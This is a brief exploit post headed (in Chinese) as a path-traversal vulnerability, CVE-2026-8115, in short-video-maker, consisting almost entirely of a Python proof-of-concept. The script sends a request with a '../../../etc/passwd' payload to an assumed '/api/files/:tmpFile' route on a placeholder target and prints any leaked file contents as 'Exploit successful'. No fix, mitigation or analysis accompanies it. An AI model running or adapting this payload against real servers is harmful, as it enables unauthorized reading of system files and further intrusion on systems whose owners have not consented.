CVE-2026-8115 short-video-maker路径遍历漏洞

import requests target_url = "http://target-ip:port/api/files" # Replace with actual endpoint # The vulnerability is in req.params.tmpFile # Assuming a route structure like /api/files/:tmpFile payload = "../../../etc/passwd" try: # Sending malicious request response = requests.get(f"{target_url}/{payload}") if response.status_code == 200: print("[+] Exploit successful! Data leaked:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")